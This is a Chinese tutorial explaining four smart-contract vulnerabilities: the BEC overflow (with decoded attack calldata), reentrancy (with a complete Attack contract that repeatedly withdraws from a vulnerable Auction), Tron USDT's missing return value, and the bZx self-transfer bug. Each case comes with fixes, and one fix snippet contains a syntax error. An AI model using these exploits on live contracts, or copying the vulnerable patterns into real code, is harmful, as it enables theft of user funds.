溢出
【案例】美链
美链BEC合约
攻击的交易:0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
1
2
3
4
5
6
7
8
|
Function: batchTransfer(address[] _receivers, uint256 _value)
MethodID: 0x83f12fec
[0]: 0000000000000000000000000000000000000000000000000000000000000040 // 第一个参数出现在4*16个字节位置
[1]: 8000000000000000000000000000000000000000000000000000000000000000 // _value
[2]: 0000000000000000000000000000000000000000000000000000000000000002 // _receivers数组长度
[3]: 000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033 // _receivers的第一个元素
[4]: 0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7 // _receivers的第二个元素
|
显然,uint256(cnt) * _value = 0,因为计算结果为"1+64个零",而uint256只有256位即64位16进制。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value; //运算溢出
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
|
【补救方法】使用openzeppelin-contracts 安全运算方法SafeMath,其实就是判断结果是否溢出,若溢出则抛出错误,回滚
1
2
3
4
5
6
7
8
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
|
重入攻击Reentrancy
【案例】The Dao
0.6.0之前合约回调函数:给合约C发送交易时,若data中没有C的任何方法,则会调用下面fallback函数
1
2
|
function() external payable {
}
|
漏洞示例代码和攻击方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
pragma solidity >=0.4.25;
contract Auction {
mapping(address=>uint256) userBalance;
function bid() public payable {
userBalance[msg.sender] += msg.value;
}
function withdraw() public returns (bool) {
uint256 amount = userBalance[msg.sender];
// 设调用withdraw的帐号为A,A是个合约帐号,msg.sender.call会调用A的fallback函数,A的fallback里调用withdraw
// 导致在userBalance[msg.sender]置回零之前,重复给A帐号退款
if(msg.sender.call.value(amount)()){ //可重复攻击
userBalance[msg.sender] = 0;
return true;
}
return false;
}
}
// 用于攻击的合约帐号
contract Attack {
address auctionAddress;
int n=2;
constructor(address addr) public{
auctionAddress = addr;
}
function bid() public payable {
Auction auction = Auction(auctionAddress);
auction.bid.value(msg.value)();
}
function withdraw() public {
Auction auction = Auction(auctionAddress);
auction.withdraw();
}
// 调用withdraw方法,在次申请退款,此时Auction还没把帐号余额设为0
// fallback函数
function() public payable {
if(n>0){
n--;
Auction auction = Auction(auctionAddress);
auction.withdraw();
}
}
}
|
【补救方法】
- 使用msg.sender.send(amount),因为msg.sender.send只为发送2300gas,让恶意合约无gas再做任何操作
- 退款的帐号设为0,转账失败再恢复
1
2
3
4
5
6
7
8
9
|
function withdraw() public returns (bool) {
uint256 amount = userBalance[msg.sender];
userBalance[msg.sender] = 0;
if(!msg.sender.send(amount)()){
userBalance[msg.sender] = amount;
return false;
}
return true;
}
|
波场DeFi 项目 Myrose无法提现
由于波场USDT合约的transfer函数未使用ERC20规范的写法,虽然transfer函数定义了returns(bool),但是函数在执行时未返回对应的值,导致返回了默认的false。从而导致safeTransfer进行调用时对返回值的判断为false,最终造成用户无法成功提现的问题。下面是对问题的复现 »
SafeERC20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
// solidity的函数选择器是从它的函数名和输入参数的类型中派生出来的:selector = bytes4(sha3(“transfer()”)),
// 有没有返回值它不会管
}
...
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// require校验返回的bool数值,false则回滚,提示操作失败
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
|
1
2
3
4
5
6
7
8
|
contract USDT_Tron is IERC20 {
...
function transfer(address to, uint value) public returns (bool) {
_transfer(msg.sender, to, value);
// 无显式return,默认返回false。而在safeTransfer中调用transfer,callOptionalReturn的returndata会一直是false
}
...
}
|
DeFi 项目 bZx-iToken 盗币
»
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
contract Test {
...
function transferFrom(
address _from,
address _to,
uint256 _value)
external
returns (bool)
{
return _internalTransferFrom(
_from,
_to,
_value,
allowed[_from][msg.sender]
/*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?
uint256(-1) :
allowed[_from][msg.sender]*/
);
}
function _internalTransferFrom(
address _from,
address _to,
uint256 _value,
uint256 _allowanceAmount)
internal
returns (bool)
{
if (_allowanceAmount != uint256(-1)) {
allowed[_from][msg.sender] = _allowanceAmount.sub(_value, "14");
}
uint256 _balancesFrom = balances[_from];
uint256 _balancesTo = balances[_to];
require(_to != address(0), "15");
uint256 _balancesFromNew = _balancesFrom
.sub(_value, "16");
balances[_from] = _balancesFromNew;
uint256 _balancesToNew = _balancesTo
.add(_value);
balances[_to] = _balancesToNew;
// 变量覆盖,当_from与_to一致时,其地址凭空得到_value个币
emit Transfer(_from, _to, _value);
return true;
}
}
|